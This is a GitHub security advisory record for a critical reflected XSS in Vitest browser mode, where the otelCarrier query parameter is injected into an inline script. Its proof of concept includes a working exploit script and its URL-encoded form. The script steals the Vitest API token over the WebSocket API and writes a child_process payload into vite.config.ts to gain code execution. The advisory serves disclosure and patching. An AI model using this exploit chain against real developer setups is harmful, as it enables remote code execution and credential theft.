{"id":"GHSA-2h32-95rg-cppp","summary":"Vitest browser mode serves unsanitized otelCarrier query parameter as inline script","details":"## Summary\n\nVitest browser mode served `/__vitest_test__/` with the `otelCarrier` query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.\n\nhttps://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48\n\nhttps://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41\n\nThe same generated page embeds `VITEST_API_TOKEN`, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.\n\n## Impact\n\nThis issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.\n\nIn the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into `vite.config.ts`. Vitest/Vite then reloaded the config, executing the injected config code in Node.\n\nThis is related in impact to [GHSA-9crc-q9x8-hgqq](https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq): that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.\n\n## Proof of Concept\n\n### XSS\n\nFor a concrete reproduction, start browser mode in watch mode using the official Lit example:\n\n```sh\npnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc\ncd vitest-poc\npnpm install\npnpm test\n```\n\nBy default, Vitest serves the browser runner HTML and WebSocket API at `http://localhost:63315`.\n\nOpen the following URL:\n\n```text\nhttp://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)\n```\n\nThe `otelCarrier` query value is inserted into the generated inline module script as JavaScript source:\n\n```js\notelCarrier: (alert(\"xss via otelCarrier\"),null),\n```\n\nLoading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.\n\n### RCE via config write\n\nA full local RCE proof can use the same injection point to recover `window.VITEST_API_TOKEN`, connect to `/__vitest_browser_api__`, and call `triggerCommand(\"writeFile\", ...)` to modify the local `vite.config.ts`.\n\nThe PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.\n\nThis PoC imports `flatted` from a CDN to keep the payload compact.\n\n\u003cdetails\u003e\u003csummary\u003eExample script and encoded URL\u003c/summary\u003e\n\n```ts\n(setTimeout(async()=\u003e{\n  const s = window.__vitest_browser_runner__\n  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')\n  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'\n  const q = 'type=orchestrator&rpcId=poc-' + Date.now()\n    + '&sessionId=' + encodeURIComponent(s.sessionId)\n    + '&projectName=' + encodeURIComponent(s.config.name || '')\n    + '&method=' + encodeURIComponent(s.method)\n    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')\n\n  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)\n  const pending = new Map()\n\n  function call(m, a = []) {\n    const i = crypto.randomUUID()\n    ws.send(stringify({ t: 'q', i, m, a }))\n    return new Promise((resolve, reject) =\u003e {\n      pending.set(i, { resolve, reject })\n    })\n  }\n\n  ws.onmessage = (event) =\u003e {\n    const message = parse(event.data)\n    const promise = pending.get(message.i)\n    if (!promise) {\n      return\n    }\n    pending.delete(message.i)\n    if (message.e) {\n      promise.reject(message.e)\n    }\n    else {\n      promise.resolve(message.r)\n    }\n  }\n\n  ws.onopen = async () =\u003e {\n    const configPath = 'vite.config.ts'\n    const original = await call('triggerCommand', [\n      s.sessionId,\n      'readFile',\n      configPath,\n      [configPath, 'utf-8'],\n    ])\n\n    const injected = `\nimport(\"node:child_process\").then(lib =\u003e {\n  lib.execSync('touch ./rce-poc')\n  console.log('RCE success')\n})\n`\n    await call('triggerCommand', [\n      s.sessionId,\n      'writeFile',\n      configPath,\n      [configPath, injected + original],\n    ])\n\n    alert('POC: vite.config.ts modified to trigger RCE on config reload')\n  }\n\n  ws.onerror = () =\u003e alert('POC: browser api websocket failed')\n},0),null)\n```\n\nThe following URL is the same script encoded as the `otelCarrier` query value:\n\n```txt\nhttp://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)\n```\n\n\u003c/details\u003e\n\n---","aliases":["CVE-2026-47428"],"modified":"2026-06-01T14:30:10.303478107Z","published":"2026-06-01T14:12:18Z","database_specific":{"severity":"CRITICAL","nvd_published_at":null,"cwe_ids":["CWE-79"],"github_reviewed_at":"2026-06-01T14:12:18Z","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp"},{"type":"PACKAGE","url":"https://github.com/vitest-dev/vitest"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48"}],"affected":[{"package":{"name":"@vitest/browser","ecosystem":"npm","purl":"pkg:npm/%40vitest%2Fbrowser"},"ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.17"},{"fixed":"4.1.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-2h32-95rg-cppp/GHSA-2h32-95rg-cppp.json"}},{"package":{"name":"@vitest/browser","ecosystem":"npm","purl":"pkg:npm/%40vitest%2Fbrowser"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0-beta.0"},{"fixed":"5.0.0-beta.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-2h32-95rg-cppp/GHSA-2h32-95rg-cppp.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"}]}